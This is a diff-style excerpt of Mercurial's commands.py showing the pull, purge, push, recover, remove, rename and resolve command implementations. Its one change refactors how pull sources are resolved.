5348 5348 def pull(ui, repo, *sources, **opts):
5349 5349 """pull changes from the specified source
5350 5350
5351 5351 Pull changes from a remote repository to a local one.
5352 5352
5353 5353 This finds all changes from the repository at the specified path
5354 5354 or URL and adds them to a local repository (the current one unless
5355 5355 -R is specified). By default, this does not update the copy of the
5356 5356 project in the working directory.
5357 5357
5358 5358 When cloning from servers that support it, Mercurial may fetch
5359 5359 pre-generated data. When this is done, hooks operating on incoming
5360 5360 changesets and changegroups may fire more than once, once for each
5361 5361 pre-generated bundle and as well as for any additional remaining
5362 5362 data. See :hg:`help -e clonebundles` for more.
5363 5363
5364 5364 Use :hg:`incoming` if you want to see what would have been added
5365 5365 by a pull at the time you issued this command. If you then decide
5366 5366 to add those changes to the repository, you should use :hg:`pull
5367 5367 -r X` where ``X`` is the last changeset listed by :hg:`incoming`.
5368 5368
5369 5369 If SOURCE is omitted, the 'default' path will be used.
5370 5370 See :hg:`help urls` for more information.
5371 5371
5372 5372 If multiple sources are specified, they will be pulled sequentially as if
5373 5373 the command was run multiple time. If --update is specify and the command
5374 5374 will stop at the first failed --update.
5375 5375
5376 5376 Specifying bookmark as ``.`` is equivalent to specifying the active
5377 5377 bookmark's name.
5378 5378
5379 5379 Returns 0 on success, 1 if an update had unresolved files.
5380 5380 """
5381 5381
5382 5382 opts = pycompat.byteskwargs(opts)
5383 5383 if ui.configbool(b'commands', b'update.requiredest') and opts.get(
5384 5384 b'update'
5385 5385 ):
5386 5386 msg = _(b'update destination required by configuration')
5387 5387 hint = _(b'use hg pull followed by hg update DEST')
5388 5388 raise error.InputError(msg, hint=hint)
5389 5389
5390 if not sources:
5391 sources = [b'default']
5392 for source in sources:
5393 source, branches = urlutil.parseurl(
5394 ui.expandpath(source), opts.get(b'branch')
5395 )
5390 sources = urlutil.get_pull_paths(repo, ui, sources, opts.get(b'branch'))
5391 for source, branches in sources:
5396 5392 ui.status(_(b'pulling from %s\n') % urlutil.hidepassword(source))
5397 5393 ui.flush()
5398 5394 other = hg.peer(repo, opts, source)
5399 5395 update_conflict = None
5400 5396 try:
5401 5397 revs, checkout = hg.addbranchrevs(
5402 5398 repo, other, branches, opts.get(b'rev')
5403 5399 )
5404 5400
5405 5401 pullopargs = {}
5406 5402
5407 5403 nodes = None
5408 5404 if opts.get(b'bookmark') or revs:
5409 5405 # The list of bookmark used here is the same used to actually update
5410 5406 # the bookmark names, to avoid the race from issue 4689 and we do
5411 5407 # all lookup and bookmark queries in one go so they see the same
5412 5408 # version of the server state (issue 4700).
5413 5409 nodes = []
5414 5410 fnodes = []
5415 5411 revs = revs or []
5416 5412 if revs and not other.capable(b'lookup'):
5417 5413 err = _(
5418 5414 b"other repository doesn't support revision lookup, "
5419 5415 b"so a rev cannot be specified."
5420 5416 )
5421 5417 raise error.Abort(err)
5422 5418 with other.commandexecutor() as e:
5423 5419 fremotebookmarks = e.callcommand(
5424 5420 b'listkeys', {b'namespace': b'bookmarks'}
5425 5421 )
5426 5422 for r in revs:
5427 5423 fnodes.append(e.callcommand(b'lookup', {b'key': r}))
5428 5424 remotebookmarks = fremotebookmarks.result()
5429 5425 remotebookmarks = bookmarks.unhexlifybookmarks(remotebookmarks)
5430 5426 pullopargs[b'remotebookmarks'] = remotebookmarks
5431 5427 for b in opts.get(b'bookmark', []):
5432 5428 b = repo._bookmarks.expandname(b)
5433 5429 if b not in remotebookmarks:
5434 5430 raise error.InputError(
5435 5431 _(b'remote bookmark %s not found!') % b
5436 5432 )
5437 5433 nodes.append(remotebookmarks[b])
5438 5434 for i, rev in enumerate(revs):
5439 5435 node = fnodes[i].result()
5440 5436 nodes.append(node)
5441 5437 if rev == checkout:
5442 5438 checkout = node
5443 5439
5444 5440 wlock = util.nullcontextmanager()
5445 5441 if opts.get(b'update'):
5446 5442 wlock = repo.wlock()
5447 5443 with wlock:
5448 5444 pullopargs.update(opts.get(b'opargs', {}))
5449 5445 modheads = exchange.pull(
5450 5446 repo,
5451 5447 other,
5452 5448 heads=nodes,
5453 5449 force=opts.get(b'force'),
5454 5450 bookmarks=opts.get(b'bookmark', ()),
5455 5451 opargs=pullopargs,
5456 5452 confirm=opts.get(b'confirm'),
5457 5453 ).cgresult
5458 5454
5459 5455 # brev is a name, which might be a bookmark to be activated at
5460 5456 # the end of the update. In other words, it is an explicit
5461 5457 # destination of the update
5462 5458 brev = None
5463 5459
5464 5460 if checkout:
5465 5461 checkout = repo.unfiltered().changelog.rev(checkout)
5466 5462
5467 5463 # order below depends on implementation of
5468 5464 # hg.addbranchrevs(). opts['bookmark'] is ignored,
5469 5465 # because 'checkout' is determined without it.
5470 5466 if opts.get(b'rev'):
5471 5467 brev = opts[b'rev'][0]
5472 5468 elif opts.get(b'branch'):
5473 5469 brev = opts[b'branch'][0]
5474 5470 else:
5475 5471 brev = branches[0]
5476 5472 repo._subtoppath = source
5477 5473 try:
5478 5474 update_conflict = postincoming(
5479 5475 ui, repo, modheads, opts.get(b'update'), checkout, brev
5480 5476 )
5481 5477 except error.FilteredRepoLookupError as exc:
5482 5478 msg = _(b'cannot update to target: %s') % exc.args[0]
5483 5479 exc.args = (msg,) + exc.args[1:]
5484 5480 raise
5485 5481 finally:
5486 5482 del repo._subtoppath
5487 5483
5488 5484 finally:
5489 5485 other.close()
5490 5486 # skip the remaining pull source if they are some conflict.
5491 5487 if update_conflict:
5492 5488 break
5493 5489 if update_conflict:
5494 5490 return 1
5495 5491 else:
5496 5492 return 0
5497 5493
5498 5494
5499 5495 @command(
5500 5496 b'purge|clean',
5501 5497 [
5502 5498 (b'a', b'abort-on-err', None, _(b'abort if an error occurs')),
5503 5499 (b'', b'all', None, _(b'purge ignored files too')),
5504 5500 (b'i', b'ignored', None, _(b'purge only ignored files')),
5505 5501 (b'', b'dirs', None, _(b'purge empty directories')),
5506 5502 (b'', b'files', None, _(b'purge files')),
5507 5503 (b'p', b'print', None, _(b'print filenames instead of deleting them')),
5508 5504 (
5509 5505 b'0',
5510 5506 b'print0',
5511 5507 None,
5512 5508 _(
5513 5509 b'end filenames with NUL, for use with xargs'
5514 5510 b' (implies -p/--print)'
5515 5511 ),
5516 5512 ),
5517 5513 (b'', b'confirm', None, _(b'ask before permanently deleting files')),
5518 5514 ]
5519 5515 + cmdutil.walkopts,
5520 5516 _(b'hg purge [OPTION]... [DIR]...'),
5521 5517 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5522 5518 )
5523 5519 def purge(ui, repo, *dirs, **opts):
5524 5520 """removes files not tracked by Mercurial
5525 5521
5526 5522 Delete files not known to Mercurial. This is useful to test local
5527 5523 and uncommitted changes in an otherwise-clean source tree.
5528 5524
5529 5525 This means that purge will delete the following by default:
5530 5526
5531 5527 - Unknown files: files marked with "?" by :hg:`status`
5532 5528 - Empty directories: in fact Mercurial ignores directories unless
5533 5529 they contain files under source control management
5534 5530
5535 5531 But it will leave untouched:
5536 5532
5537 5533 - Modified and unmodified tracked files
5538 5534 - Ignored files (unless -i or --all is specified)
5539 5535 - New files added to the repository (with :hg:`add`)
5540 5536
5541 5537 The --files and --dirs options can be used to direct purge to delete
5542 5538 only files, only directories, or both. If neither option is given,
5543 5539 both will be deleted.
5544 5540
5545 5541 If directories are given on the command line, only files in these
5546 5542 directories are considered.
5547 5543
5548 5544 Be careful with purge, as you could irreversibly delete some files
5549 5545 you forgot to add to the repository. If you only want to print the
5550 5546 list of files that this program would delete, use the --print
5551 5547 option.
5552 5548 """
5553 5549 opts = pycompat.byteskwargs(opts)
5554 5550 cmdutil.check_at_most_one_arg(opts, b'all', b'ignored')
5555 5551
5556 5552 act = not opts.get(b'print')
5557 5553 eol = b'\n'
5558 5554 if opts.get(b'print0'):
5559 5555 eol = b'\0'
5560 5556 act = False # --print0 implies --print
5561 5557 if opts.get(b'all', False):
5562 5558 ignored = True
5563 5559 unknown = True
5564 5560 else:
5565 5561 ignored = opts.get(b'ignored', False)
5566 5562 unknown = not ignored
5567 5563
5568 5564 removefiles = opts.get(b'files')
5569 5565 removedirs = opts.get(b'dirs')
5570 5566 confirm = opts.get(b'confirm')
5571 5567 if confirm is None:
5572 5568 try:
5573 5569 extensions.find(b'purge')
5574 5570 confirm = False
5575 5571 except KeyError:
5576 5572 confirm = True
5577 5573
5578 5574 if not removefiles and not removedirs:
5579 5575 removefiles = True
5580 5576 removedirs = True
5581 5577
5582 5578 match = scmutil.match(repo[None], dirs, opts)
5583 5579
5584 5580 paths = mergemod.purge(
5585 5581 repo,
5586 5582 match,
5587 5583 unknown=unknown,
5588 5584 ignored=ignored,
5589 5585 removeemptydirs=removedirs,
5590 5586 removefiles=removefiles,
5591 5587 abortonerror=opts.get(b'abort_on_err'),
5592 5588 noop=not act,
5593 5589 confirm=confirm,
5594 5590 )
5595 5591
5596 5592 for path in paths:
5597 5593 if not act:
5598 5594 ui.write(b'%s%s' % (path, eol))
5599 5595
5600 5596
5601 5597 @command(
5602 5598 b'push',
5603 5599 [
5604 5600 (b'f', b'force', None, _(b'force push')),
5605 5601 (
5606 5602 b'r',
5607 5603 b'rev',
5608 5604 [],
5609 5605 _(b'a changeset intended to be included in the destination'),
5610 5606 _(b'REV'),
5611 5607 ),
5612 5608 (b'B', b'bookmark', [], _(b"bookmark to push"), _(b'BOOKMARK')),
5613 5609 (b'', b'all-bookmarks', None, _(b"push all bookmarks (EXPERIMENTAL)")),
5614 5610 (
5615 5611 b'b',
5616 5612 b'branch',
5617 5613 [],
5618 5614 _(b'a specific branch you would like to push'),
5619 5615 _(b'BRANCH'),
5620 5616 ),
5621 5617 (b'', b'new-branch', False, _(b'allow pushing a new branch')),
5622 5618 (
5623 5619 b'',
5624 5620 b'pushvars',
5625 5621 [],
5626 5622 _(b'variables that can be sent to server (ADVANCED)'),
5627 5623 ),
5628 5624 (
5629 5625 b'',
5630 5626 b'publish',
5631 5627 False,
5632 5628 _(b'push the changeset as public (EXPERIMENTAL)'),
5633 5629 ),
5634 5630 ]
5635 5631 + remoteopts,
5636 5632 _(b'[-f] [-r REV]... [-e CMD] [--remotecmd CMD] [DEST]...'),
5637 5633 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5638 5634 helpbasic=True,
5639 5635 )
5640 5636 def push(ui, repo, *dests, **opts):
5641 5637 """push changes to the specified destination
5642 5638
5643 5639 Push changesets from the local repository to the specified
5644 5640 destination.
5645 5641
5646 5642 This operation is symmetrical to pull: it is identical to a pull
5647 5643 in the destination repository from the current one.
5648 5644
5649 5645 By default, push will not allow creation of new heads at the
5650 5646 destination, since multiple heads would make it unclear which head
5651 5647 to use. In this situation, it is recommended to pull and merge
5652 5648 before pushing.
5653 5649
5654 5650 Use --new-branch if you want to allow push to create a new named
5655 5651 branch that is not present at the destination. This allows you to
5656 5652 only create a new branch without forcing other changes.
5657 5653
5658 5654 .. note::
5659 5655
5660 5656 Extra care should be taken with the -f/--force option,
5661 5657 which will push all new heads on all branches, an action which will
5662 5658 almost always cause confusion for collaborators.
5663 5659
5664 5660 If -r/--rev is used, the specified revision and all its ancestors
5665 5661 will be pushed to the remote repository.
5666 5662
5667 5663 If -B/--bookmark is used, the specified bookmarked revision, its
5668 5664 ancestors, and the bookmark will be pushed to the remote
5669 5665 repository. Specifying ``.`` is equivalent to specifying the active
5670 5666 bookmark's name. Use the --all-bookmarks option for pushing all
5671 5667 current bookmarks.
5672 5668
5673 5669 Please see :hg:`help urls` for important details about ``ssh://``
5674 5670 URLs. If DESTINATION is omitted, a default path will be used.
5675 5671
5676 5672 When passed multiple destinations, push will process them one after the
5677 5673 other, but stop should an error occur.
5678 5674
5679 5675 .. container:: verbose
5680 5676
5681 5677 The --pushvars option sends strings to the server that become
5682 5678 environment variables prepended with ``HG_USERVAR_``. For example,
5683 5679 ``--pushvars ENABLE_FEATURE=true``, provides the server side hooks with
5684 5680 ``HG_USERVAR_ENABLE_FEATURE=true`` as part of their environment.
5685 5681
5686 5682 pushvars can provide for user-overridable hooks as well as set debug
5687 5683 levels. One example is having a hook that blocks commits containing
5688 5684 conflict markers, but enables the user to override the hook if the file
5689 5685 is using conflict markers for testing purposes or the file format has
5690 5686 strings that look like conflict markers.
5691 5687
5692 5688 By default, servers will ignore `--pushvars`. To enable it add the
5693 5689 following to your configuration file::
5694 5690
5695 5691 [push]
5696 5692 pushvars.server = true
5697 5693
5698 5694 Returns 0 if push was successful, 1 if nothing to push.
5699 5695 """
5700 5696
5701 5697 opts = pycompat.byteskwargs(opts)
5702 5698
5703 5699 if opts.get(b'all_bookmarks'):
5704 5700 cmdutil.check_incompatible_arguments(
5705 5701 opts,
5706 5702 b'all_bookmarks',
5707 5703 [b'bookmark', b'rev'],
5708 5704 )
5709 5705 opts[b'bookmark'] = list(repo._bookmarks)
5710 5706
5711 5707 if opts.get(b'bookmark'):
5712 5708 ui.setconfig(b'bookmarks', b'pushing', opts[b'bookmark'], b'push')
5713 5709 for b in opts[b'bookmark']:
5714 5710 # translate -B options to -r so changesets get pushed
5715 5711 b = repo._bookmarks.expandname(b)
5716 5712 if b in repo._bookmarks:
5717 5713 opts.setdefault(b'rev', []).append(b)
5718 5714 else:
5719 5715 # if we try to push a deleted bookmark, translate it to null
5720 5716 # this lets simultaneous -r, -b options continue working
5721 5717 opts.setdefault(b'rev', []).append(b"null")
5722 5718
5723 5719 some_pushed = False
5724 5720 result = 0
5725 5721 for path in urlutil.get_push_paths(repo, ui, dests):
5726 5722 if not path:
5727 5723 raise error.ConfigError(
5728 5724 _(b'default repository not configured!'),
5729 5725 hint=_(b"see 'hg help config.paths'"),
5730 5726 )
5731 5727 dest = path.pushloc or path.loc
5732 5728 branches = (path.branch, opts.get(b'branch') or [])
5733 5729 ui.status(_(b'pushing to %s\n') % urlutil.hidepassword(dest))
5734 5730 revs, checkout = hg.addbranchrevs(
5735 5731 repo, repo, branches, opts.get(b'rev')
5736 5732 )
5737 5733 other = hg.peer(repo, opts, dest)
5738 5734
5739 5735 try:
5740 5736 if revs:
5741 5737 revs = [repo[r].node() for r in scmutil.revrange(repo, revs)]
5742 5738 if not revs:
5743 5739 raise error.InputError(
5744 5740 _(b"specified revisions evaluate to an empty set"),
5745 5741 hint=_(b"use different revision arguments"),
5746 5742 )
5747 5743 elif path.pushrev:
5748 5744 # It doesn't make any sense to specify ancestor revisions. So limit
5749 5745 # to DAG heads to make discovery simpler.
5750 5746 expr = revsetlang.formatspec(b'heads(%r)', path.pushrev)
5751 5747 revs = scmutil.revrange(repo, [expr])
5752 5748 revs = [repo[rev].node() for rev in revs]
5753 5749 if not revs:
5754 5750 raise error.InputError(
5755 5751 _(
5756 5752 b'default push revset for path evaluates to an empty set'
5757 5753 )
5758 5754 )
5759 5755 elif ui.configbool(b'commands', b'push.require-revs'):
5760 5756 raise error.InputError(
5761 5757 _(b'no revisions specified to push'),
5762 5758 hint=_(b'did you mean "hg push -r ."?'),
5763 5759 )
5764 5760
5765 5761 repo._subtoppath = dest
5766 5762 try:
5767 5763 # push subrepos depth-first for coherent ordering
5768 5764 c = repo[b'.']
5769 5765 subs = c.substate # only repos that are committed
5770 5766 for s in sorted(subs):
5771 5767 sub_result = c.sub(s).push(opts)
5772 5768 if sub_result == 0:
5773 5769 return 1
5774 5770 finally:
5775 5771 del repo._subtoppath
5776 5772
5777 5773 opargs = dict(
5778 5774 opts.get(b'opargs', {})
5779 5775 ) # copy opargs since we may mutate it
5780 5776 opargs.setdefault(b'pushvars', []).extend(opts.get(b'pushvars', []))
5781 5777
5782 5778 pushop = exchange.push(
5783 5779 repo,
5784 5780 other,
5785 5781 opts.get(b'force'),
5786 5782 revs=revs,
5787 5783 newbranch=opts.get(b'new_branch'),
5788 5784 bookmarks=opts.get(b'bookmark', ()),
5789 5785 publish=opts.get(b'publish'),
5790 5786 opargs=opargs,
5791 5787 )
5792 5788
5793 5789 if pushop.cgresult == 0:
5794 5790 result = 1
5795 5791 elif pushop.cgresult is not None:
5796 5792 some_pushed = True
5797 5793
5798 5794 if pushop.bkresult is not None:
5799 5795 if pushop.bkresult == 2:
5800 5796 result = 2
5801 5797 elif not result and pushop.bkresult:
5802 5798 result = 2
5803 5799
5804 5800 if result:
5805 5801 break
5806 5802
5807 5803 finally:
5808 5804 other.close()
5809 5805 if result == 0 and not some_pushed:
5810 5806 result = 1
5811 5807 return result
5812 5808
5813 5809
5814 5810 @command(
5815 5811 b'recover',
5816 5812 [
5817 5813 (b'', b'verify', False, b"run `hg verify` after successful recover"),
5818 5814 ],
5819 5815 helpcategory=command.CATEGORY_MAINTENANCE,
5820 5816 )
5821 5817 def recover(ui, repo, **opts):
5822 5818 """roll back an interrupted transaction
5823 5819
5824 5820 Recover from an interrupted commit or pull.
5825 5821
5826 5822 This command tries to fix the repository status after an
5827 5823 interrupted operation. It should only be necessary when Mercurial
5828 5824 suggests it.
5829 5825
5830 5826 Returns 0 if successful, 1 if nothing to recover or verify fails.
5831 5827 """
5832 5828 ret = repo.recover()
5833 5829 if ret:
5834 5830 if opts['verify']:
5835 5831 return hg.verify(repo)
5836 5832 else:
5837 5833 msg = _(
5838 5834 b"(verify step skipped, run `hg verify` to check your "
5839 5835 b"repository content)\n"
5840 5836 )
5841 5837 ui.warn(msg)
5842 5838 return 0
5843 5839 return 1
5844 5840
5845 5841
5846 5842 @command(
5847 5843 b'remove|rm',
5848 5844 [
5849 5845 (b'A', b'after', None, _(b'record delete for missing files')),
5850 5846 (b'f', b'force', None, _(b'forget added files, delete modified files')),
5851 5847 ]
5852 5848 + subrepoopts
5853 5849 + walkopts
5854 5850 + dryrunopts,
5855 5851 _(b'[OPTION]... FILE...'),
5856 5852 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5857 5853 helpbasic=True,
5858 5854 inferrepo=True,
5859 5855 )
5860 5856 def remove(ui, repo, *pats, **opts):
5861 5857 """remove the specified files on the next commit
5862 5858
5863 5859 Schedule the indicated files for removal from the current branch.
5864 5860
5865 5861 This command schedules the files to be removed at the next commit.
5866 5862 To undo a remove before that, see :hg:`revert`. To undo added
5867 5863 files, see :hg:`forget`.
5868 5864
5869 5865 .. container:: verbose
5870 5866
5871 5867 -A/--after can be used to remove only files that have already
5872 5868 been deleted, -f/--force can be used to force deletion, and -Af
5873 5869 can be used to remove files from the next revision without
5874 5870 deleting them from the working directory.
5875 5871
5876 5872 The following table details the behavior of remove for different
5877 5873 file states (columns) and option combinations (rows). The file
5878 5874 states are Added [A], Clean [C], Modified [M] and Missing [!]
5879 5875 (as reported by :hg:`status`). The actions are Warn, Remove
5880 5876 (from branch) and Delete (from disk):
5881 5877
5882 5878 ========= == == == ==
5883 5879 opt/state A C M !
5884 5880 ========= == == == ==
5885 5881 none W RD W R
5886 5882 -f R RD RD R
5887 5883 -A W W W R
5888 5884 -Af R R R R
5889 5885 ========= == == == ==
5890 5886
5891 5887 .. note::
5892 5888
5893 5889 :hg:`remove` never deletes files in Added [A] state from the
5894 5890 working directory, not even if ``--force`` is specified.
5895 5891
5896 5892 Returns 0 on success, 1 if any warnings encountered.
5897 5893 """
5898 5894
5899 5895 opts = pycompat.byteskwargs(opts)
5900 5896 after, force = opts.get(b'after'), opts.get(b'force')
5901 5897 dryrun = opts.get(b'dry_run')
5902 5898 if not pats and not after:
5903 5899 raise error.InputError(_(b'no files specified'))
5904 5900
5905 5901 m = scmutil.match(repo[None], pats, opts)
5906 5902 subrepos = opts.get(b'subrepos')
5907 5903 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
5908 5904 return cmdutil.remove(
5909 5905 ui, repo, m, b"", uipathfn, after, force, subrepos, dryrun=dryrun
5910 5906 )
5911 5907
5912 5908
5913 5909 @command(
5914 5910 b'rename|move|mv',
5915 5911 [
5916 5912 (b'', b'forget', None, _(b'unmark a destination file as renamed')),
5917 5913 (b'A', b'after', None, _(b'record a rename that has already occurred')),
5918 5914 (
5919 5915 b'',
5920 5916 b'at-rev',
5921 5917 b'',
5922 5918 _(b'(un)mark renames in the given revision (EXPERIMENTAL)'),
5923 5919 _(b'REV'),
5924 5920 ),
5925 5921 (
5926 5922 b'f',
5927 5923 b'force',
5928 5924 None,
5929 5925 _(b'forcibly move over an existing managed file'),
5930 5926 ),
5931 5927 ]
5932 5928 + walkopts
5933 5929 + dryrunopts,
5934 5930 _(b'[OPTION]... SOURCE... DEST'),
5935 5931 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5936 5932 )
5937 5933 def rename(ui, repo, *pats, **opts):
5938 5934 """rename files; equivalent of copy + remove
5939 5935
5940 5936 Mark dest as copies of sources; mark sources for deletion. If dest
5941 5937 is a directory, copies are put in that directory. If dest is a
5942 5938 file, there can only be one source.
5943 5939
5944 5940 By default, this command copies the contents of files as they
5945 5941 exist in the working directory. If invoked with -A/--after, the
5946 5942 operation is recorded, but no copying is performed.
5947 5943
5948 5944 To undo marking a destination file as renamed, use --forget. With that
5949 5945 option, all given (positional) arguments are unmarked as renames. The
5950 5946 destination file(s) will be left in place (still tracked). The source
5951 5947 file(s) will not be restored. Note that :hg:`rename --forget` behaves
5952 5948 the same way as :hg:`copy --forget`.
5953 5949
5954 5950 This command takes effect with the next commit by default.
5955 5951
5956 5952 Returns 0 on success, 1 if errors are encountered.
5957 5953 """
5958 5954 opts = pycompat.byteskwargs(opts)
5959 5955 with repo.wlock():
5960 5956 return cmdutil.copy(ui, repo, pats, opts, rename=True)
5961 5957
5962 5958
5963 5959 @command(
5964 5960 b'resolve',
5965 5961 [
5966 5962 (b'a', b'all', None, _(b'select all unresolved files')),
5967 5963 (b'l', b'list', None, _(b'list state of files needing merge')),
5968 5964 (b'm', b'mark', None, _(b'mark files as resolved')),
5969 5965 (b'u', b'unmark', None, _(b'mark files as unresolved')),
5970 5966 (b'n', b'no-status', None, _(b'hide status prefix')),
5971 5967 (b'', b're-merge', None, _(b're-merge files')),
5972 5968 ]
5973 5969 + mergetoolopts
5974 5970 + walkopts
5975 5971 + formatteropts,
5976 5972 _(b'[OPTION]... [FILE]...'),
5977 5973 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5978 5974 inferrepo=True,
5979 5975 )
5980 5976 def resolve(ui, repo, *pats, **opts):
5981 5977 """redo merges or set/view the merge status of files
5982 5978
5983 5979 Merges with unresolved conflicts are often the result of
5984 5980 non-interactive merging using the ``internal:merge`` configuration
5985 5981 setting, or a command-line merge tool like ``diff3``. The resolve
5986 5982 command is used to manage the files involved in a merge, after
5987 5983 :hg:`merge` has been run, and before :hg:`commit` is run (i.e. the
5988 5984 working directory must have two parents). See :hg:`help
5989 5985 merge-tools` for information on configuring merge tools.
5990 5986
5991 5987 The resolve command can be used in the following ways:
5992 5988
5993 5989 - :hg:`resolve [--re-merge] [--tool TOOL] FILE...`: attempt to re-merge
5994 5990 the specified files, discarding any previous merge attempts. Re-merging
5995 5991 is not performed for files already marked as resolved. Use ``--all/-a``
5996 5992 to select all unresolved files. ``--tool`` can be used to specify
5997 5993 the merge tool used for the given files. It overrides the HGMERGE
5998 5994 environment variable and your configuration files. Previous file
5999 5995 contents are saved with a ``.orig`` suffix.
6000 5996
6001 5997 - :hg:`resolve -m [FILE]`: mark a file as having been resolved
6002 5998 (e.g. after having manually fixed-up the files). The default is
6003 5999 to mark all unresolved files.
6004 6000
6005 6001 - :hg:`resolve -u [FILE]...`: mark a file as unresolved. The
6006 6002 default is to mark all resolved files.
6007 6003
6008 6004 - :hg:`resolve -l`: list files which had or still have conflicts.
6009 6005 In the printed list, ``U`` = unresolved and ``R`` = resolved.
6010 6006 You can use ``set:unresolved()`` or ``set:resolved()`` to filter
6011 6007 the list. See :hg:`help filesets` for details.
6012 6008
6013 6009 .. note::
6014 6010
6015 6011 Mercurial will not let you commit files with unresolved merge
6016 6012 conflicts. You must use :hg:`resolve -m ...` before you can
6017 6013 commit after a conflicting merge.
6018 6014
6019 6015 .. container:: verbose
6020 6016
6021 6017 Template:
6022 6018
6023 6019 The following keywords are supported in addition to the common template
6024 6020 keywords and functions. See also :hg:`help templates`.
6025 6021
6026 6022 :mergestatus: String. Character denoting merge conflicts, ``U`` or ``R``.
6027 6023 :path: String. Repository-absolute path of the file.
6028 6024
6029 6025 Returns 0 on success, 1 if any files fail a resolve attempt.
6030 6026 """
6031 6027
6032 6028 opts = pycompat.byteskwargs(opts)
6033 6029 confirm = ui.configbool(b'commands', b'resolve.confirm')
6034 6030 flaglist = b'all mark unmark list no_status re_merge'.split()
6035 6031 all, mark, unmark, show, nostatus, remerge = [opts.get(o) for o in flaglist]
6036 6032
6037 6033 actioncount = len(list(filter(None, [show, mark, unmark, remerge])))
6038 6034 if actioncount > 1:
6039 6035 raise error.InputError(_(b"too many actions specified"))
6040 6036 elif actioncount == 0 and ui.configbool(
6041 6037 b'commands', b'resolve.explicit-re-merge'
6042 6038 ):
6043 6039 hint = _(b'use --mark, --unmark, --list or --re-merge')
6044 6040 raise error.InputError(_(b'no action specified'), hint=hint)
6045 6041 if pats and all:
6046 6042 raise error.InputError(_(b"can't specify --all and patterns"))
6047 6043 if not (all or pats or show or mark or unmark):
6048 6044 raise error.InputError(
6049 6045 _(b'no files or directories specified'),
6050 6046 hint=b'use --all to re-merge all unresolved files',
6051 6047 )
6052 6048
6053 6049 if confirm:
6054 6050 if all:
6055 6051 if ui.promptchoice(
6056 6052 _(b're-merge all unresolved files (yn)?$$ &Yes $$ &No')
6057 6053 ):
6058 6054 raise error.CanceledError(_(b'user quit'))
6059 6055 if mark and not pats:
6060 6056 if ui.promptchoice(
6061 6057 _(
6062 6058 b'mark all unresolved files as resolved (yn)?'
6063 6059 b'$$ &Yes $$ &No'
6064 6060 )
6065 6061 ):
6066 6062 raise error.CanceledError(_(b'user quit'))
6067 6063 if unmark and not pats:
6068 6064 if ui.promptchoice(
6069 6065 _(
6070 6066 b'mark all resolved files as unresolved (yn)?'
6071 6067 b'$$ &Yes $$ &No'
6072 6068 )
6073 6069 ):
6074 6070 raise error.CanceledError(_(b'user quit'))
6075 6071
6076 6072 uipathfn = scmutil.getuipathfn(repo)
6077 6073
6078 6074 if show:
6079 6075 ui.pager(b'resolve')
6080 6076 fm = ui.formatter(b'resolve', opts)
6081 6077 ms = mergestatemod.mergestate.read(repo)
6082 6078 wctx = repo[None]
6083 6079 m = scmutil.match(wctx, pats, opts)
6084 6080
6085 6081 # Labels and keys based on merge state. Unresolved path conflicts show
6086 6082 # as 'P'. Resolved path conflicts show as 'R', the same as normal
6087 6083 # resolved conflicts.
6088 6084 mergestateinfo = {
6089 6085 mergestatemod.MERGE_RECORD_UNRESOLVED: (
6090 6086 b'resolve.unresolved',
6091 6087 b'U',
6092 6088 ),
6093 6089 mergestatemod.MERGE_RECORD_RESOLVED: (b'resolve.resolved', b'R'),
6094 6090 mergestatemod.MERGE_RECORD_UNRESOLVED_PATH: (
6095 6091 b'resolve.unresolved',
6096 6092 b'P',
6097 6093 ),
6098 6094 mergestatemod.MERGE_RECORD_RESOLVED_PATH: (
6099 6095 b'resolve.resolved',
6100 6096 b'R',
6101 6097 ),
6102 6098 }
6103 6099
6104 6100 for f in ms:
6105 6101 if not m(f):
6106 6102 continue
6107 6103
6108 6104 label, key = mergestateinfo[ms[f]]
6109 6105 fm.startitem()
6110 6106 fm.context(ctx=wctx)
6111 6107 fm.condwrite(not nostatus, b'mergestatus', b'%s ', key, label=label)
6112 6108 fm.data(path=f)
6113 6109 fm.plain(b'%s\n' % uipathfn(f), label=label)
6114 6110 fm.end()
6115 6111 return 0
6116 6112
6117 6113 with repo.wlock():
6118 6114 ms = mergestatemod.mergestate.read(repo)
6119 6115
6120 6116 if not (ms.active() or repo.dirstate.p2() != nullid):
6121 6117 raise error.StateError(
6122 6118 _(b'resolve command not applicable when not merging')
6123 6119 )
6124 6120
6125 6121 wctx = repo[None]
6126 6122 m = scmutil.match(wctx, pats, opts)
6127 6123 ret = 0
6128 6124 didwork = False
6129 6125
6130 6126 tocomplete = []
6131 6127 hasconflictmarkers = []
6132 6128 if mark:
6133 6129 markcheck = ui.config(b'commands', b'resolve.mark-check')
6134 6130 if markcheck not in [b'warn', b'abort']:
6135 6131 # Treat all invalid / unrecognized values as 'none'.
6136 6132 markcheck = False
6137 6133 for f in ms:
6138 6134 if not m(f):
6139 6135 continue
6140 6136
6141 6137 didwork = True
6142 6138
6143 6139 # path conflicts must be resolved manually
6144 6140 if ms[f] in (
6145 6141 mergestatemod.MERGE_RECORD_UNRESOLVED_PATH,
6146 6142 mergestatemod.MERGE_RECORD_RESOLVED_PATH,
6147 6143 ):
6148 6144 if mark:
6149 6145 ms.mark(f, mergestatemod.MERGE_RECORD_RESOLVED_PATH)
6150 6146 elif unmark:
6151 6147 ms.mark(f, mergestatemod.MERGE_RECORD_UNRESOLVED_PATH)
6152 6148 elif ms[f] == mergestatemod.MERGE_RECORD_UNRESOLVED_PATH:
6153 6149 ui.warn(
6154 6150 _(b'%s: path conflict must be resolved manually\n')
6155 6151 % uipathfn(f)
6156 6152 )
6157 6153 continue
6158 6154
6159 6155 if mark:
6160 6156 if markcheck:
6161 6157 fdata = repo.wvfs.tryread(f)
6162 6158 if (
6163 6159 filemerge.hasconflictmarkers(fdata)
6164 6160 and ms[f] != mergestatemod.MERGE_RECORD_RESOLVED
6165 6161 ):
6166 6162 hasconflictmarkers.append(f)
6167 6163 ms.mark(f, mergestatemod.MERGE_RECORD_RESOLVED)
6168 6164 elif unmark:
6169 6165 ms.mark(f, mergestatemod.MERGE_RECORD_UNRESOLVED)
6170 6166 else:
6171 6167 # backup pre-resolve (merge uses .orig for its own purposes)
6172 6168 a = repo.wjoin(f)
6173 6169 try:
6174 6170 util.copyfile(a, a + b".resolve")
6175 6171 except (IOError, OSError) as inst:
6176 6172 if inst.errno != errno.ENOENT:
6177 6173 raise
6178 6174
